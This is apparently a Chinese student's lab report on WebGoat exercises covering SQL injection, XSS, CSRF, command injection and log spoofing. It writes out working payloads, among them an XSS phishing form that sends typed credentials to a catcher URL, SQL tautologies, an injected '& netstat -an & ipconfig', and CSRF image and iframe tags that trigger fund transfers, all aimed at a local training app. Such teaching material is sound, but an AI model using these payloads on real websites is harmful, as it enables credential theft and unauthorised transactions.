回答问题
(1)SQL注入攻击原理,如何防御
原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。
防御:对输入进行限制,包括输入长度和特殊字符的类型等
(2)XSS攻击的原理,如何防御
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:收集JSP特征,对内容进行严格验证,规定格式。
(3)CSRF攻击原理,如何防御
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
java -jar webgoat-container-7.0.1-war-exec.jar
开启webgoat
,1.Phishing with XSS
</form> <script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR> <H2>This feature requires account login:</H2><br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
code
输入框内输入<script>alert("20165228szkun");</script>
purchase
,则会弹出窗口,内容是输入代码中的字符串。message
部分插入jsp代码,当该帖子被浏览时,该代码也会被浏览器解析成html的内容。<script>alert("20165228 shi cai ji!");</script>
提交后,浏览该贴,成功弹出窗口,说明攻击成功!inspect Element
,在某个选项后加上"& netstat -an & ipconfig"
view
,则会出现该命令执行的结果SELECT * FROM weather_data WHERE station = [station]
,在填入的字段中注入特征字符,查看所有的天气数据。inspect Element
,然将value ="101"
改为value ="101 or 1=1"
,其值对应的是Columbia
,修改完成后选择该选项,然后点击Go!
即可查看所有天气数据。szkun%0d%0aLogin Succeeded for username: admin
‘or 1=‘1
即可message
内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500"/>
当点击该图片时,就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。message
框输入<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
点开链接
一开始从链接下载好webgoat
后进入该页面发现内容好像有点不一样,经了解是因为JDK的问题,然后又根据Linux下JDK安装配置好了JDK,然后重新进入该页面就可以正常使用了。
本次实验涉及的东西比较综合,要对HTML与SQL语句比较熟练,才能完全理解其中的原理!